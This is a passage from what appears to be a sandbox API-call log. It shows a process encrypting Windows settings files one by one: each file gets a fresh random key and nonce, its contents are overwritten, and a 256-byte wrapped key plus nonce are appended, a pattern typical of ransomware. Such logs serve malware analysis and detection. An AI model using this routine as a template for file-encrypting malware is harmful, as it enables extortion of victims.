dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.842] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Notifications_SelectIconsToAppearOnTaskbar.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.843] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x540, lpOverlapped=0x0) returned 1 [0196.844] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.844] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x540, lpOverlapped=0x0) returned 1 [0196.844] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x540 [0196.844] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.844] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.845] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.845] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.845] CloseHandle (hObject=0x1c24) returned 1 [0196.847] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.847] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0196.847] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Notifications_PinnedQuickActions.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.848] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x50e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x50e, lpOverlapped=0x0) returned 1 [0196.849] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1294, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.849] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x50e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x50e, lpOverlapped=0x0) returned 1 [0196.849] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x50e [0196.849] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.849] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.850] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.850] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.850] CloseHandle (hObject=0x1c24) returned 1 [0196.852] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0196.852] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.852] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_MusUpdate_UpdateActionButton.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.852] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4f6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f6, lpOverlapped=0x0) returned 1 [0196.865] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1270, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.865] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4f6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f6, lpOverlapped=0x0) returned 1 [0196.865] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f6 [0196.865] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.865] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.866] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.866] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.866] CloseHandle (hObject=0x1c24) returned 1 [0196.868] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.868] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0196.868] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_MusUpdate_AdvancedSettingsLink.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.868] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x500, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x500, lpOverlapped=0x0) returned 1 [0196.869] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.869] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x500, lpOverlapped=0x0) returned 1 [0196.870] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x500 [0196.870] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.870] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.870] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.870] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.871] CloseHandle (hObject=0x1c24) returned 1 [0196.873] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.873] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.873] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_MultiTasking_SnapFillEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.874] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4f9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f9, lpOverlapped=0x0) returned 1 [0196.875] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1273, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.875] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4f9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f9, lpOverlapped=0x0) returned 1 [0196.875] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f9 [0196.875] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.876] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.876] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.876] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.876] CloseHandle (hObject=0x1c24) returned 1 [0196.879] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.879] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.879] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_MultiTasking_SnapAssistEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.879] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x503, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x503, lpOverlapped=0x0) returned 1 [0196.881] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1283, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.881] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x503, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x503, lpOverlapped=0x0) returned 1 [0196.881] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x503 [0196.881] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.881] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.882] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.882] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.882] CloseHandle (hObject=0x1c24) returned 1 [0196.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.885] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_MultiTasking_JointResizeEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.885] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x508, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x508, lpOverlapped=0x0) returned 1 [0196.887] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.887] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x508, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x508, lpOverlapped=0x0) returned 1 [0196.887] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x508 [0196.887] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.888] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.888] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.888] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.889] CloseHandle (hObject=0x1c24) returned 1 [0196.891] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0196.891] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0196.891] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_MultiTasking_AeroSnapEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.891] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4f9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f9, lpOverlapped=0x0) returned 1 [0196.893] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1273, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.893] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4f9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f9, lpOverlapped=0x0) returned 1 [0196.893] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f9 [0196.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.894] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.894] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.894] CloseHandle (hObject=0x1c24) returned 1 [0196.896] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0196.896] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.896] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Misc_RollbackYourPC_Windows8_1.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.896] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x517, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x517, lpOverlapped=0x0) returned 1 [0196.898] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1303, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.898] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x517, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x517, lpOverlapped=0x0) returned 1 [0196.898] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x517 [0196.898] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.898] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.899] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.899] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.899] CloseHandle (hObject=0x1c24) returned 1 [0196.901] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.901] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.901] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Misc_RollbackYourPC_Windows8.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.901] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x50b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x50b, lpOverlapped=0x0) returned 1 [0196.902] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1291, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.902] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x50b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x50b, lpOverlapped=0x0) returned 1 [0196.903] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x50b [0196.903] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.903] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.903] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.903] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.903] CloseHandle (hObject=0x1c24) returned 1 [0196.907] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0196.907] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0196.907] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Misc_RollbackYourPC_Windows7.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.907] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x50b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x50b, lpOverlapped=0x0) returned 1 [0196.916] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1291, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.916] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x50b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x50b, lpOverlapped=0x0) returned 1 [0196.917] SetFilePointer (in: 